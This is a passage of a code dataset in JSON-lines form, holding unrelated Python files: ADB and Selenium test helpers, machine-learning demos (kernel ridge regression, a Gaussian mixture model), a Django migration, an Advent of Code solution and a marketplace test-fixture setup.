unittest\n\nsys.path.insert(1,'/home/rtemsoft/Desktop/CARLA-Simulation-Bench/Working-Directory-v2/testcases')\n\npackageName = \"com.example.jultrautomaintenance\"\n\ncmd = f\"adb shell 'pm list packages {packageName}'\"\n\n#Check is packageName is in the list of installed packages\nproc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n\no, e = proc.communicate()\n# print('Output: ' + o.decode('ascii'))\n# print('Error: ' + e.decode('ascii'))\n# print('code: ' + str(proc.returncode))\noutput = o.decode('ascii')\n#print(output)\n\nclass TestAPKinstall(unittest.TestCase):\n def setUp(self):\n self.longMessage=False\n def test_installation(self):\n isInstalled = False\n if(packageName in output):\n print(\"APK installed Successfully\")\n isInstalled=True\n else:\n isInstalled=False\n self.assertTrue(isInstalled,msg=\"FAILURE! App was not installed successfully!\")\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"airwick989/Autonomous-Vehicle-Simulation-and-Testing-Bench","sub_path":"Working-Directory-v2/testcases/ADBInstallAPKTest.py","file_name":"ADBInstallAPKTest.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"20775611566","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport numpy as np\nfrom sklearn.linear_model import Ridge\n\ndef krrs(train_x, train_y, test_x, i):\n N = len(train_x)\n\n lamda = 0.1\n sigma = 0.5\n poly_i = i\n K = np.zeros((N, N)) # 200*200\n I = np.zeros((N, N))\n\n for i in range(N):\n for j in range(N):\n temp = 0 \n for k in range(1, poly_i+1):\n temp += np.sin(k * sigma * train_x[i]) * np.sin(k * sigma * train_x[j]) + np.cos(k * sigma * train_x[i]) * np.cos(k * sigma * train_x[j])\n K[i][j] = 1 + temp\n if(i == j):\n I[i][j] = 1\n \n alpha = np.dot(np.linalg.inv(K + lamda * I), train_y)\n\n predicted_y = []\n for n in range(N):\n y = 0\n for i in range(N):\n temp = 0 \n for k in range(1, poly_i+1):\n temp += np.sin(k * sigma * test_x[n]) * np.sin(k * sigma * train_x[i]) + np.cos(k * sigma * test_x[n]) * np.cos(k * sigma * train_x[i])\n k = 1 + temp\n y += alpha[i] * k\n predicted_y.append(y)\n return predicted_y\n\n\ndef berr(train_x, train_y, test_x, i):\n sigma = 0.5\n N = len(train_x)\n train_x_expansion = np.zeros((N, 2*i+1))\n\n for n in range(N):\n phi = np.zeros(2*i+1)\n phi[0] = 1\n for j in range(1, i+1):\n phi[2*j-1] = np.sin(j * sigma * train_x[n])\n phi[2*j] = np.cos(j * sigma * train_x[n])\n train_x_expansion[n] = phi\n\n test_x_expansion = np.zeros((N, 2*i+1))\n\n for n in range(N):\n phi = np.zeros(2*i+1)\n phi[0] = 1\n for j in range(1, i+1):\n phi[2*j-1] = np.sin(j * sigma * test_x[n])\n phi[2*j] = np.cos(j * sigma * test_x[n])\n test_x_expansion[n] = phi\n \n\n ridge = Ridge(alpha=0.1)\n ridge.fit(train_x_expansion, train_y)\n prediction = ridge.predict(test_x_expansion)\n return prediction","repo_name":"ZixinKong/589-ML-Kernels","sub_path":"Code/tri.py","file_name":"tri.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35963066519","text":"\"\"\"\nGaussian Mixture Model\nBook : Mathematics for Machine Learning - chap 11\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef pdf(data, mean: float, variance: float):\n # A normal continuous random variable.\n s1 = 1 / (np.sqrt(2 * np.pi * variance))\n s2 = np.exp(-(np.square(data - mean) / (2 * variance)))\n return s1 * s2\n\n\nX = np.array([-3, -2.5, -1, 0, 2, 4, 5]).astype(float)\nmeans = np.array([-4, 0, 8]).astype(float)\nvariances = np.array([1, 0.2, 3]).astype(float)\nweights = np.array([1 / 3, 1 / 3, 1 / 3]).astype(float)\n\n\neps = 1e-8\nk = means.shape[0]\nbins = np.linspace(np.min(X), np.max(X), 100)\n\nfor step in range(5):\n if step % 1 == 0:\n plt.figure(figsize=(10, 6))\n axes = plt.gca()\n plt.xlabel(\"$x$\")\n plt.ylabel(\"pdf\")\n plt.title(\"Iteration {}\".format(step))\n plt.scatter(X, [0.005] * len(X), color=\"navy\", s=30, marker=2, label=\"Train data\")\n\n plt.plot(bins, pdf(bins, means[0], variances[0]), color=\"blue\", label=\"Cluster 1\")\n plt.plot(bins, pdf(bins, means[1], variances[1]), color=\"green\", label=\"Cluster 2\")\n plt.plot(bins, pdf(bins, means[2], variances[2]), color=\"magenta\", label=\"Cluster 3\")\n plt.legend(loc=\"upper left\")\n plt.show()\n\n # calculate the maximum likelihood of each observation xi\n likelihood = []\n for j in range(k):\n likelihood.append(pdf(X, means[j], variances[j]))\n likelihood = np.array(likelihood)\n\n # Maximization step\n b = []\n for j in range(k):\n # use the current values for the parameters to evaluate the posterior\n # probabilities of the data to have been generanted by each gaussian\n likelihood_sum = np.sum([likelihood[i] * weights[i] for i in range(k)], axis=0) + eps\n b.append((likelihood[j] * weights[j]) / likelihood_sum)\n\n # updage mean and variance\n means[j] = np.sum(b[j] * X) / (np.sum(b[j] + eps))\n variances[j] = np.sum(b[j] * np.square(X - means[j])) / (np.sum(b[j] + eps))\n\n # update the weights\n weights[j] = np.mean(b[j])\n\n print(means)\n print(variances)\n print(weights)\n\n\n# for nloop in range(10):\n# mu_old = mu.sum()\n#\n# rnk = np.zeros((n, k))\n# for i in range(n):\n# rnk_sum = 0\n# for j in range(k):\n# rnk_sum += pi[j] * pdf(Xn[i], mu[j], sg[j])\n# for j in range(k):\n# rnk[i][j] = pi[j] * pdf(Xn[i], mu[j], sg[j]) / (rnk_sum + eps)\n#\n# N_k = np.zeros(k)\n# for i in range(k):\n# mu[i] = 0\n# for j in range(n):\n# N_k[i] += rnk[j][i]\n# mu[i] += rnk[j][i] * Xn[j]\n# mu[i] = mu[i] / (N_k[i] + eps)\n#\n# for i in range(k):\n# sg[i] = 0\n# for j in range(n):\n# sg[i] += rnk[j][i] * (Xn[j] - mu[i]) * (Xn[j] - mu[i])\n# sg[i] = sg[i] / (N_k[i] + eps)\n# pi[i] = N_k[i] / float(n)\n#\n# diff = abs(mu_old - mu.sum())\n#\n# if diff < 1e-3:\n# break\n# print(nloop, diff, mu)\n#\n# print(mu)\n# print(sg)\n# print(pi)\n\n\n# import matplotlib.pyplot as plt\n# from sklearn import cluster, datasets, mixture\n# import numpy as np\n# from scipy.stats import multivariate_normal\n#\n# n_samples = 100\n# mu1, sigma1 = -4, 1.2 # mean and variance\n# mu2, sigma2 = 4, 1.8 # mean and variance\n# mu3, sigma3 = 0, 1.6 # mean and variance\n#\n# x1 = np.random.normal(mu1, np.sqrt(sigma1), n_samples)\n# x2 = np.random.normal(mu2, np.sqrt(sigma2), n_samples)\n# x3 = np.random.normal(mu3, np.sqrt(sigma3), n_samples)\n#\n# X = np.array(list(x1) + list(x2) + list(x3))\n# np.random.shuffle(X)\n# print(\"Dataset shape:\", X.shape)\n#\n#\n# def pdf(data, mean: float, variance: float):\n# # A normal continuous random variable.\n# s1 = 1 / (np.sqrt(2 * np.pi * variance))\n# s2 = np.exp(-(np.square(data - mean) / (2 * variance)))\n# return s1 * s2\n#\n#\n# # visualize the training data\n# bins = np.linspace(np.min(X), np.max(X), 100)\n#\n# plt.figure(figsize=(8, 5))\n# plt.xlabel(\"$x$\", fontsize=14)\n# plt.ylabel(\"pdf\", fontsize=14)\n# plt.scatter(X, [0.005] * len(X), color=\"navy\", s=30, marker=2, label=\"Train data\")\n#\n# plt.plot(bins, pdf(bins, mu1, sigma1), color=\"red\", label=\"True pdf\")\n# plt.plot(bins, pdf(bins, mu2, sigma2), color=\"red\")\n# plt.plot(bins, pdf(bins, mu3, sigma3), color=\"red\")\n#\n# plt.legend()\n# plt.plot()\n# plt.show()\n#\n# define the number of clusters to be learned\n# k = 3\n# weights = np.ones(k) / k\n# means = np.random.choice(X, k)\n# variances = np.random.random_sample(size=k)\n#\n# print(means, variances)\n#\n# X = np.array(X)\n# print(X.shape)\n#\n# eps = 1e-8\n# for step in range(10):\n#\n# if step % 5 == 0:\n# plt.figure(figsize=(10, 6))\n# axes = plt.gca()\n# plt.xlabel(\"$x$\")\n# plt.ylabel(\"pdf\")\n# plt.title(\"Iteration {}\".format(step))\n# plt.scatter(X, [0.005] * len(X), color=\"navy\", s=30, marker=2, label=\"Train data\")\n#\n# plt.plot(bins, pdf(bins, mu1, sigma1), color=\"grey\", label=\"True pdf\")\n# plt.plot(bins, pdf(bins, mu2, sigma2), color=\"grey\")\n# plt.plot(bins, pdf(bins, mu3, sigma3), color=\"grey\")\n#\n# plt.plot(bins, pdf(bins, means[0], variances[0]), color=\"blue\", label=\"Cluster 1\")\n# plt.plot(bins, pdf(bins, means[1], variances[1]), color=\"green\", label=\"Cluster 2\")\n# plt.plot(bins, pdf(bins, means[2], variances[2]), color=\"magenta\", label=\"Cluster 3\")\n#\n# plt.legend(loc=\"upper left\")\n#\n# # plt.savefig(\"img_{0:02d}\".format(step), bbox_inches=\"tight\")\n# plt.show()\n#\n# # calculate the maximum likelihood of each observation xi\n# likelihood = []\n#\n# # Expectation step\n# for j in range(k):\n# likelihood.append(pdf(X, means[j], np.sqrt(variances[j])))\n# likelihood = np.array(likelihood)\n#\n# b = []\n# # Maximization step\n# for j in range(k):\n# # use the current values for the parameters to evaluate the posterior\n# # probabilities of the data to have been generanted by each gaussian\n# b.append((likelihood[j] * weights[j]) / (np.sum([likelihood[i] * weights[i] for i in range(k)], axis=0) + eps))\n#\n# # updage mean and variance\n# means[j] = np.sum(b[j] * X) / (np.sum(b[j] + eps))\n# variances[j] = np.sum(b[j] * np.square(X - means[j])) / (np.sum(b[j] + eps))\n#\n# # update the weights\n# weights[j] = np.mean(b[j])\n#\n#\n# print(means)\n# print(variances)\n# print(weights)\n","repo_name":"mecha2k/handson-ml2","sub_path":"src/09_gmm.py","file_name":"09_gmm.py","file_ext":"py","file_size_in_byte":6439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21958956106","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('characters', '0003_auto_20150410_1125'),\n ('wod_rules', '0002_auto_20150410_1125'),\n ('mage_rules', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='MageMerit',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('dots', models.IntegerField(verbose_name='dots', choices=[(0, b'0'), (1, b'1'), (2, b'2'), (3, b'3'), (4, b'4'), (5, b'5')])),\n ('character', models.ForeignKey(related_name='merits', to='characters.MageCharacter')),\n ('merit', models.ForeignKey(to='wod_rules.Merit')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='MageSkill',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('dots', models.IntegerField(verbose_name='dots', choices=[(0, b'0'), (1, b'1'), (2, b'2'), (3, b'3'), (4, b'4'), (5, b'5')])),\n ('character', models.ForeignKey(related_name='skills', to='characters.MageCharacter')),\n ('skill', models.ForeignKey(to='wod_rules.Skill')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='MageVice',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('character', models.ForeignKey(to='characters.MageCharacter')),\n ('virtue', models.ForeignKey(to='wod_rules.Vice')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='MageVirtue',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('character', models.ForeignKey(to='characters.MageCharacter')),\n ('virtue', models.ForeignKey(to='wod_rules.Virtue')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='arcanum',\n name='cost',\n field=models.IntegerField(default=1, verbose_name='Cost to purchase'),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='arcanum',\n name='cost_inferior',\n field=models.IntegerField(default=8, verbose_name='Cost to purchase if inferior'),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='arcanum',\n name='cost_ruling',\n field=models.IntegerField(default=6, verbose_name='Cost to purchase if ruling'),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='arcanum',\n name='unavailable',\n field=models.BooleanField(default=False, verbose_name='unavailable'),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='characterarcanum',\n name='dots',\n field=models.IntegerField(verbose_name='dots', choices=[(0, b'0'), (1, b'1'), (2, b'2'), (3, b'3'), (4, b'4'), (5, b'5')]),\n preserve_default=True,\n ),\n ]\n","repo_name":"wlansu/wod","sub_path":"wod/mage_rules/migrations/0002_auto_20150410_1125.py","file_name":"0002_auto_20150410_1125.py","file_ext":"py","file_size_in_byte":3654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72691323112","text":"import nltk\nfrom newspaper import Article\n\n#this comment can be ignored, just for PyCharm test purposes\n#this is a t\n\nclass Extractor(object):\n\n def __init__(self, url = None, text = None):\n if not url and not text:\n raise Exception('url or text is required')\n \n self.url = url\n self.text = text\n self.places = []\n\n def set_text(self):\n if not self.text and self.url:\n a = Article(self.url)\n a.download()\n a.parse()\n a.lower()\n self.text = a.text\n\n\n def find_entities(self):\n self.set_text()\n\n text = nltk.word_tokenize(self.text)\n nes = nltk.ne_chunk(nltk.pos_tag(text))\n\n for ne in nes:\n if type(ne) is nltk.tree.Tree:\n if (ne.label() == 'GPE' or ne.label() == 'PERSON' or ne.label() == 'ORGANIZATION'):\n self.places.append(u' '.join([i[0] for i in ne.leaves()]))\n","repo_name":"fbranda/geograpy","sub_path":"geograpy3/extraction.py","file_name":"extraction.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14809834659","text":"import benchmark_caffe2 as op_bench_c2\nfrom benchmark_caffe2 import Caffe2BenchmarkBase # noqa: F401\nfrom caffe2.python import core\n\nimport operator_benchmark as op_bench\n\n\n\"\"\"Microbenchmarks for element-wise Add operator. Supports both Caffe2/PyTorch.\"\"\"\n\n# Configs for C2 add operator\nadd_long_configs = op_bench.cross_product_configs(\n M=[8, 64, 128],\n N=range(2, 10, 3),\n K=[2**x for x in range(0, 3)],\n dtype=[\"int\", \"float\"],\n tags=[\"long\"],\n)\n\n\nadd_short_configs = op_bench.config_list(\n attrs=[\n [8, 16, 32, \"int\"],\n [16, 16, 64, \"float\"],\n [64, 64, 128, \"int\"],\n ],\n attr_names=[\"M\", \"N\", \"K\", \"dtype\"],\n tags=[\"short\"],\n)\n\n\nclass AddBenchmark(op_bench_c2.Caffe2BenchmarkBase):\n def init(self, M, N, K, dtype):\n self.input_one = self.tensor([M, N, K], dtype)\n self.input_two = self.tensor([M, N, K], dtype)\n self.output = self.tensor([M, N, K], dtype)\n self.set_module_name(\"add\")\n\n def forward(self):\n op = core.CreateOperator(\n \"Add\", [self.input_one, self.input_two], self.output, **self.args\n )\n return op\n\n\nop_bench_c2.generate_c2_test(add_long_configs + add_short_configs, AddBenchmark)\n\n\nif __name__ == \"__main__\":\n op_bench.benchmark_runner.main()\n","repo_name":"pytorch/pytorch","sub_path":"benchmarks/operator_benchmark/c2/add_test.py","file_name":"add_test.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"} +{"seq_id":"7490565061","text":"import re\nfrom tqdm import tqdm\n\nclass Sensor:\n def __init__(self, sensor_x, sensor_y, beacon_x, beacon_y):\n self.position = (sensor_x, sensor_y)\n self.closest_beacon = (beacon_x, beacon_y)\n self._dist_to_beacon = (abs(sensor_x - beacon_x) + abs(sensor_y - beacon_y))\n\n def cannot_be_beacons_for_row(self, row):\n sensor_x, sensor_y = self.position\n dist_to_target_row = abs(sensor_y - row)\n\n no_beacons = set()\n for x in range(self._dist_to_beacon - dist_to_target_row + 1):\n no_beacons |= {(sensor_x + x, row), (sensor_x - x, row)}\n\n return no_beacons - {self.position, self.closest_beacon}\n\n def no_beacons_range_for_row(self, row):\n sensor_x, sensor_y = self.position\n dist_to_target_row = abs(sensor_y - row)\n x_extent = self._dist_to_beacon - dist_to_target_row\n if x_extent >= 0:\n return (sensor_x - x_extent), (sensor_x + x_extent)\n\n\ndef fetch_data(path):\n with open(path, 'r') as f:\n sensors = []\n for ln in f:\n values = [int(n) for n in re.findall(r'-?\\d+', ln)]\n sensors.append(Sensor(*values))\n return sensors\n\n\ndef count_no_beacon_positions_for_row(sensors, row):\n positions = set()\n for sensor in sensors:\n positions |= sensor.cannot_be_beacons_for_row(row)\n return len(positions)\n\n\ndef find_distress_beacon(sensors, max_x, max_y):\n for y in tqdm(range(max_y+1)):\n ranges = (sensor.no_beacons_range_for_row(y) for sensor in sensors)\n ranges = sorted(r for r in ranges if r is not None)\n\n left_edge = right_edge = None\n for left_for_this_sensor, right_for_this_sensor in ranges:\n if left_edge is None:\n left_edge, right_edge = left_for_this_sensor, right_for_this_sensor\n else:\n if (right_edge +1) < left_for_this_sensor <= max_x:\n return right_edge +1, y\n else:\n right_edge = max(right_edge, right_for_this_sensor)\n if left_edge < 0 and right_edge > max_x:\n break\n\n\n#--------------------- tests -------------------------#\n\ndef test_sensor_init():\n sensor = Sensor(2,18, -2,15)\n assert sensor.position == (2, 18)\n assert sensor.closest_beacon == (-2, 15)\n\ndef test_cannot_be_beacons_for_row():\n sensor = Sensor(8,7, 2,10)\n no_beacons = sensor.cannot_be_beacons_for_row(10)\n assert len(no_beacons) == 12\n\ndef test_fetch_data():\n sensors = fetch_data('sample_data/day15.txt')\n assert len(sensors) == 14\n assert sensors[0].position == (2,18)\n assert sensors[-1].closest_beacon == (15,3)\n\ndef test_count_no_beacon_positions_for_row():\n sensors = fetch_data('sample_data/day15.txt')\n assert count_no_beacon_positions_for_row(sensors, row=10) == 26\n\ndef test_no_beacons_range_for_row():\n sensor = Sensor(8,7, 2,10)\n assert sensor.no_beacons_range_for_row(-2) == (8, 8)\n assert sensor.no_beacons_range_for_row(10) == (2, 14)\n assert sensor.no_beacons_range_for_row(18) is None\n\ndef test_find_distress_beacon():\n sensors = fetch_data('sample_data/day15.txt')\n assert find_distress_beacon(sensors, 20, 20) == (14, 11)\n\n#-----------------------------------------------------#\n\nif __name__ == \"__main__\":\n sensors = fetch_data('data/day15.txt')\n x, y = find_distress_beacon(sensors, 4000000, 4000000)\n print(x*4000000 + y)\n","repo_name":"neil-vass/advent-of-code-2022","sub_path":"src/day15.py","file_name":"day15.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"20861158945","text":"import js2py\n\ncode = \"console.log('На море на океане есть остров, \\\nна том острове дуб стоит, под дубом сундук зарыт, \\\nв сундуке — заяц, в зайце — утка, в утке — яйцо, в яйце — игла, — смерть Кощея');\"\n\nresult = js2py.eval_js(code)\n\nprint(result)\n\n","repo_name":"Antoniii/CyberMatrioshka","sub_path":"pyenjs.py","file_name":"pyenjs.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27660408420","text":"import pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.chrome.options import Options\n\n\n@pytest.fixture(scope='session')\ndef set_up():\n print(\"Вы вошли в систему\")\n yield\n print(\"Вы вышли из системы\")\n\n\n@pytest.fixture(scope='function')\ndef action():\n print(\"Начало\")\n yield\n print(\"Конец\")\n\n\n@pytest.fixture(scope='function')\ndef driver():\n opt = Options()\n opt.add_argument('--start-maximized')\n serv = Service(executable_path='D:\\\\driver\\\\chromedriver.exe')\n driver1 = webdriver.Chrome(service=serv, options=opt)\n driver1.implicitly_wait(10)\n yield driver1\n driver1.quit()\n\n\n@pytest.fixture(scope='function')\ndef driver2():\n opt = Options()\n opt.add_argument('window-size=760,1080')\n serv = Service(executable_path='D:\\\\driver\\\\chromedriver.exe')\n driver_ch = webdriver.Chrome(service=serv, options=opt)\n driver_ch.implicitly_wait(10)\n yield driver_ch\n driver_ch.quit()\n","repo_name":"eugene-okulik/QAP-08onl","sub_path":"homework/artyom_zabello/homework_21/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"186179409","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport runner # noqa\n\nfrom core.matcher import Absent\nfrom core.testcase import main, TestCase\nfrom core.types import (\n DeliveryBucket,\n DeliveryOption,\n DeliveryServiceRegionToRegionInfo,\n DynamicDaysSet,\n DynamicDeliveryRestriction,\n DynamicDeliveryServiceInfo,\n DynamicWarehouseDelivery,\n DynamicWarehouseInfo,\n DynamicWarehouseLink,\n DynamicWarehousesPriorityInRegion,\n Offer,\n OfferDimensions,\n Region,\n RegionalDelivery,\n Currency,\n ExchangeRate,\n SupplierRegionRestriction,\n generate_dsbs,\n)\nfrom core.types.shop import Shop\nfrom core.types.sku import BlueOffer, MarketSku\nfrom core.types.autogen import b64url_md5\nfrom itertools import count\n\nnummer = count()\n\nRID_RU = 225\nRID_BL = 149\nRID_MSK = 213\nRID_MINSK_AREA = 29630\nRID_MINSK_CITY = 157\n\nHID_ID = 94732\nVENDOR_ID = 194732\nMODEL_ID = 3521\n\nRU_SORTING_CENTER_ID = 12345\nBL_SORTING_CENTER_ID = 54321\n\n\ndef build_ware_md5(id):\n return id.ljust(21, \"_\") + \"w\"\n\n\n# офферы\ndef create_blue_offer(\n price,\n fesh,\n feed,\n vendor_id,\n hid,\n delivery_buckets=None,\n pickup_buckets=None,\n is_fulfillment=True,\n name=None,\n post_term_delivery=None,\n price_old=None,\n weight=1,\n dimensions=OfferDimensions(width=10, length=10, height=10),\n):\n\n if name is not None:\n offerid = name\n waremd5 = build_ware_md5(name)\n else:\n num = next(nummer)\n offerid = 'offerid_{}'.format(num)\n waremd5 = b64url_md5(num)\n\n return BlueOffer(\n waremd5=waremd5,\n price=price,\n price_old=price_old,\n fesh=fesh,\n feedid=feed,\n offerid=offerid,\n delivery_buckets=delivery_buckets,\n pickup_buckets=pickup_buckets,\n is_fulfillment=is_fulfillment,\n post_term_delivery=post_term_delivery,\n vendor_id=vendor_id,\n hid=hid,\n weight=5,\n blue_weight=5,\n title=name,\n dimensions=OfferDimensions(length=10, width=20, height=30),\n blue_dimensions=OfferDimensions(length=10, width=20, height=30),\n )\n\n\ndef create_white_offer(price, fesh, hyperid, feedid, sku, hid, title, vendor_id, delivery_buckets=None, is_dsbs=False):\n def build_ware_md5(id):\n return id.ljust(21, \"_\") + \"w\"\n\n if title is not None:\n offerid = title\n waremd5 = build_ware_md5(title)\n else:\n num = next(nummer)\n offerid = 'offerid_{}'.format(num)\n waremd5 = b64url_md5(num)\n\n return Offer(\n fesh=fesh,\n waremd5=waremd5,\n hyperid=hyperid,\n hid=hid,\n sku=sku,\n price=price,\n cpa=Offer.CPA_REAL if is_dsbs else Offer.CPA_NO,\n delivery_buckets=delivery_buckets,\n offerid=offerid,\n feedid=feedid,\n title=title,\n vendor_id=vendor_id,\n )\n\n\n# Market SKU\ndef create_msku(offers_list=None, hid=None, num=None):\n num = num or next(nummer)\n msku_args = dict(\n sku=num,\n hyperid=num,\n )\n if offers_list is not None:\n assert isinstance(offers_list, list)\n msku_args[\"blue_offers\"] = offers_list\n if hid is not None:\n msku_args.update(hid=hid)\n return MarketSku(**msku_args)\n\n\nclass RuShop:\n FEED_ID = 777\n SHOP_ID = 7770\n shop = Shop(\n fesh=SHOP_ID,\n datafeed_id=FEED_ID,\n priority_region=RID_MSK,\n supplier_type=Shop.THIRD_PARTY,\n blue=Shop.BLUE_REAL,\n warehouse_id=145,\n cpa=Shop.CPA_REAL,\n fulfillment_program=True,\n )\n\n blue_offer_ru = create_blue_offer(\n price=1000,\n price_old=2912,\n fesh=SHOP_ID,\n feed=FEED_ID,\n name=\"russian_offer\",\n vendor_id=VENDOR_ID,\n hid=HID_ID,\n delivery_buckets=[],\n pickup_buckets=[],\n weight=1,\n dimensions=OfferDimensions(width=10, height=10, length=10),\n )\n\n offers = [\n blue_offer_ru,\n ]\n\n\nclass BlShop:\n FEED_ID = 888\n SHOP_ID = 8880\n shop = Shop(\n fesh=SHOP_ID,\n datafeed_id=FEED_ID,\n home_region=RID_BL,\n currency=Currency.BYN,\n priority_region=RID_MINSK_AREA,\n supplier_type=Shop.THIRD_PARTY,\n blue=Shop.BLUE_REAL,\n cpa=Shop.CPA_REAL,\n warehouse_id=321,\n fulfillment_program=True,\n )\n\n blue_offer_bl = create_blue_offer(\n price=2912,\n fesh=SHOP_ID,\n feed=FEED_ID,\n name=\"belarusian_offer\",\n vendor_id=VENDOR_ID,\n hid=HID_ID,\n delivery_buckets=[],\n pickup_buckets=[],\n )\n\n offers = [blue_offer_bl]\n\n\nclass RuDsbsShop:\n FEED_ID = 11111\n SHOP_ID = 111110\n\n shop = Shop(\n fesh=SHOP_ID,\n datafeed_id=FEED_ID,\n priority_region=RID_MSK,\n name='Russian DSBS shop',\n cpa=Shop.CPA_REAL,\n warehouse_id=35984,\n )\n\n # dsbs оффер\n ru_dsbs_offer = create_white_offer(\n price=29120,\n sku=next(nummer),\n hyperid=MODEL_ID,\n hid=HID_ID,\n fesh=SHOP_ID,\n feedid=FEED_ID,\n title=\"russian_offer_dsbs\",\n is_dsbs=True,\n vendor_id=VENDOR_ID,\n delivery_buckets=[42],\n )\n\n offers = [ru_dsbs_offer]\n\n\nclass BlDsbsShop:\n FEED_ID = 22222\n SHOP_ID = 222220\n\n shop = Shop(\n fesh=SHOP_ID,\n datafeed_id=FEED_ID,\n home_region=RID_BL,\n priority_region=RID_MINSK_AREA,\n currency=Currency.BYN,\n name='Belarusian DSBS shop',\n cpa=Shop.CPA_REAL,\n warehouse_id=35985,\n )\n\n # dsbs оффер\n bl_dsbs_offer = create_white_offer(\n price=1000,\n sku=next(nummer),\n hyperid=MODEL_ID,\n hid=HID_ID,\n fesh=SHOP_ID,\n feedid=FEED_ID,\n title=\"belarusian_offer_dsbs\",\n is_dsbs=True,\n vendor_id=VENDOR_ID,\n delivery_buckets=[45],\n )\n\n offers = [bl_dsbs_offer]\n\n\nclass RuCpcShop:\n FEED_ID = 33333\n SHOP_ID = 333330\n\n shop = Shop(\n fesh=SHOP_ID,\n datafeed_id=FEED_ID,\n priority_region=RID_MSK,\n name='Russian CPC Shop',\n cpa=Shop.CPA_NO,\n )\n offers = [\n create_white_offer(\n price=1000,\n sku=next(nummer),\n hyperid=MODEL_ID,\n hid=HID_ID,\n vendor_id=VENDOR_ID,\n fesh=SHOP_ID,\n feedid=FEED_ID,\n title=\"russian_cpc_offer\",\n is_dsbs=False,\n )\n ]\n\n\nclass RuRestrictedShop:\n FEED_ID = 999\n SHOP_ID = 9990\n shop = Shop(\n fesh=SHOP_ID,\n datafeed_id=FEED_ID,\n priority_region=RID_MSK,\n supplier_type=Shop.THIRD_PARTY,\n blue=Shop.BLUE_REAL,\n warehouse_id=150,\n cpa=Shop.CPA_REAL,\n fulfillment_program=True,\n )\n\n blue_restricted_offer_ru = create_blue_offer(\n price=10000000,\n fesh=SHOP_ID,\n feed=FEED_ID,\n name=\"rus_restricted_offer\",\n vendor_id=VENDOR_ID,\n hid=HID_ID,\n delivery_buckets=[],\n pickup_buckets=[],\n )\n\n offers = [blue_restricted_offer_ru]\n\n\nclass BlCpcShop:\n FEED_ID = 44444\n SHOP_ID = 444440\n\n shop = Shop(\n fesh=SHOP_ID,\n datafeed_id=FEED_ID,\n home_region=RID_BL,\n priority_region=RID_MINSK_AREA,\n currency=Currency.BYN,\n name='Belarusian CPC Shop',\n cpa=Shop.CPA_NO,\n )\n offers = [\n create_white_offer(\n price=2912,\n sku=next(nummer),\n hyperid=MODEL_ID,\n hid=HID_ID,\n vendor_id=VENDOR_ID,\n fesh=SHOP_ID,\n feedid=FEED_ID,\n title=\"belarusian_cpc_offer\",\n is_dsbs=False,\n )\n ]\n\n\nclass Shops:\n all_shops = [RuShop.shop, BlShop.shop, RuDsbsShop.shop, BlDsbsShop.shop, RuRestrictedShop.shop]\n ru_shops = [RuShop.shop, RuDsbsShop.shop, RuRestrictedShop.shop]\n bl_shops = [BlShop.shop, BlDsbsShop.shop]\n\n\nclass T(TestCase):\n @classmethod\n def prepare(cls):\n cls.settings.lms_autogenerate = False\n cls.settings.default_search_experiment_flags += ['enable_cart_split_on_combinator=0']\n cls.settings.nordstream_autogenerate = False\n region_tree = [\n Region(\n rid=RID_MSK,\n name='Москва',\n ),\n Region(\n rid=RID_BL,\n name='Беларусь',\n region_type=Region.COUNTRY,\n children=[\n Region(\n rid=RID_MINSK_AREA, name='Минская область', children=[Region(rid=RID_MINSK_CITY, name='Минск')]\n )\n ],\n ),\n ]\n\n cls.index.supplier_region_restrictions += [\n SupplierRegionRestriction(supplier_id=RuRestrictedShop.SHOP_ID, region_ids=[149])\n ]\n cls.index.regiontree += region_tree\n cls.index.currencies += [\n Currency(\n name=Currency.BYN,\n exchange_rates=[\n ExchangeRate(to=Currency.RUR, rate=29.12),\n ],\n country=149,\n )\n ]\n\n for shop in 